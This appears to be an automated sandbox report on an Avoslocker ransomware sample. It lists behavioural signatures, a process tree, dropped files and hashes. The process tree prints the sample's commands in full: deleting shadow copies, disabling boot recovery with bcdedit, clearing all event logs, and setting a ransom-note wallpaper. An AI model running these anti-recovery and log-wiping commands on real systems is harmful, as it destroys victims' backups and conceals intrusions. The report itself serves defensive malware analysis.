Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-12-2024 00:22

General

  • Target

    sex.exe

  • Size

    3.2MB

  • MD5

    8723cc503a22121c16aff46292e93864

  • SHA1

    c9a5e6e7e7ddb134a7e16659e344cf5f7f44fe84

  • SHA256

    320bfe152dcc772f7a44379e7929d452dc2221b8cec9bc11344068832a143b6a

  • SHA512

    f45bfb11d9f69613a89bdadc85ec90cb2e3eaa7cf40380e48a028966bcbd4cb9b6a225a16dc09036c1a65d3db9cabecc0c130c7c5c2605f41e53b4f708ecc6c7

  • SSDEEP

    24576:7Imw98okVgela0as5CqLVO7XJCjkD3N0HRAKSUpZr3y2amHY6MdefqTXeZty61ky:9L5ljasaU1Zat81wua7bUScTLTXO+2N

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

  • Avoslocker family
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Renames multiple (8502) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Executes dropped EXE 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 17 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\sex.exe
    "C:\Users\Admin\AppData\Local\Temp\sex.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Users\Admin\AppData\Local\Temp\hack.exe
      "C:\Users\Admin\AppData\Local\Temp\hack.exe"
      2⤵
      • Executes dropped EXE
      • Drops desktop.ini file(s)
      • Enumerates connected drives
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:372
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1864
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:42700
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2360
        • C:\Windows\system32\vssadmin.exe
          vssadmin.exe Delete Shadows /All /Quiet
          4⤵
          • Interacts with shadow copies
          PID:36328
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c bcdedit /set {default} recoveryenabled No
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3724
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled No
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:32436
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3672
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:7436
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4804
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:14208
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$a = [System.IO.File]::ReadAllText(\"F:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:20872
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\650818489.png /f
          4⤵
          • Sets desktop wallpaper using registry
          PID:9268
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
          4⤵
            PID:14124
      • C:\Users\Admin\AppData\Local\Temp\rufus-4.6p.exe
        "C:\Users\Admin\AppData\Local\Temp\rufus-4.6p.exe"
        2⤵
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • Drops file in System32 directory
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        PID:21496
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:42744
    • C:\Windows\System32\vdsldr.exe
      C:\Windows\System32\vdsldr.exe -Embedding
      1⤵
        PID:23120
      • C:\Windows\System32\vds.exe
        C:\Windows\System32\vds.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:28500
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
        1⤵
          PID:6176
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
          1⤵
            PID:7236

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            6cf293cb4d80be23433eecf74ddb5503

            SHA1

            24fe4752df102c2ef492954d6b046cb5512ad408

            SHA256

            b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

            SHA512

            0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            8b64d3924412315a72804e0dc343b825

            SHA1

            d8bb041b2a17a499fe21bc2c34589fd2c2b2e597

            SHA256

            95fa4930b1c5402cf16fd34ea40c1dca9925c82cbf30f0e6017c71c2faa92e7c

            SHA512

            5a36f441aef40563fee01098f17f40b6814b3a3875a55c19cff7fcf7b408df61515e9c67ec259118fd4825ecb514252c0845df0208189907b8416e37ff08bc9f

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q05qzoel.cdd.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\hack.exe

            Filesize

            807KB

            MD5

            e27b5291c8fb2dfdeb7f16bb6851df5e

            SHA1

            40207f83b601cd60905c1f807ac0889c80dfe33f

            SHA256

            ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f

            SHA512

            2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

          • C:\Users\Admin\AppData\Local\Temp\rufus-4.6p.exe

            Filesize

            1.5MB

            MD5

            8fe64da09af371b02a31828415ece8f3

            SHA1

            5b5c90dcd425c814b555a4567405601aa977ee0b

            SHA256

            8279696c1d78b14618500e9135886a3667b9decc65946f3729002e4bfdbb20ab

            SHA512

            e49f9b1c9d33364101ad2fd4f2c5ed030700cc941bb469cf2ce7d5b32c51cab9e62b265e05cbd92435453e7e4008c9990bea532298676f7d81e5d6dcdc2f590b

          • C:\Users\Admin\AppData\Local\Temp\rufus.ini

            Filesize

            41B

            MD5

            efa02aff92b3360e781ccfb1ab3ebea1

            SHA1

            ae81bf1e0a2170a0a263e12a749899c8cf127c56

            SHA256

            30322928b2ba049ffd3b759ff1da1dff43ffa0abb3369794873a7f81f211e9b0

            SHA512

            9d1a134ab19eb8ea2ec10fd5eb6c9d8d0c6834b9c71a9957a1b0c65814b1aa8dd658bf5e9a8bf92580767922d6eba298320c6036bfd6979b3fc302703cc42724

          • C:\Users\Admin\AppData\Local\Temp\rufus.ini

            Filesize

            70B

            MD5

            f1c81117c15e9619bc7b3678c7cc3302

            SHA1

            fe3a90a86269743de045ed0aa591f3c69ac64331

            SHA256

            bbb63ba5f3b5093d8a376515b92bc9b047c4ea9412ddf824fe39cb1155e64cc7

            SHA512

            31391c6a64f0d1a1bb285fc19ad52274b401c05d35201161a7d7681dc04b17044a0dd14d1d5092a2278c50e211423ebc83004344e77661d87323ab8b3a890a21

          • C:\Windows\System32\GroupPolicy\gpt.ini

            Filesize

            127B

            MD5

            f9a49a3e2415016fa85ddff0b8b38419

            SHA1

            f8c987119269e58d22a6b17ae2e8eca7744fb385

            SHA256

            14694dbee3897b6bd5aa596ebfd893e727179b67811920c174dc70e6eee8e579

            SHA512

            91ea129a51d2c3b342287c1250f5b0da6ba2a61eff11791d1cfae1f5c6dd2654c935be1452f4a681e794fd723a3c295e9bc9e59b9005aa4d8bd55ed36c9ad91c

          • F:\GET_YOUR_FILES_BACK.txt

            Filesize

            1011B

            MD5

            c92c2b70fb37f84aab38412ad9226aa8

            SHA1

            14f2e9a83285612d0a7b2c83b8f89bccfde6c154

            SHA256

            d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f

            SHA512

            04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

          • memory/3484-16524-0x00007FF649400000-0x00007FF649730000-memory.dmp

            Filesize

            3.2MB

          • memory/14208-19651-0x000002116E8D0000-0x000002116E8F2000-memory.dmp

            Filesize

            136KB

          • memory/21496-22721-0x00007FF77C5F0000-0x00007FF77CA5E000-memory.dmp

            Filesize

            4.4MB

          • memory/21496-22785-0x00007FF77C5F0000-0x00007FF77CA5E000-memory.dmp

            Filesize

            4.4MB

          • memory/21496-22789-0x00007FF77C5F0000-0x00007FF77CA5E000-memory.dmp

            Filesize

            4.4MB

          • memory/21496-22804-0x00007FF77C5F0000-0x00007FF77CA5E000-memory.dmp

            Filesize

            4.4MB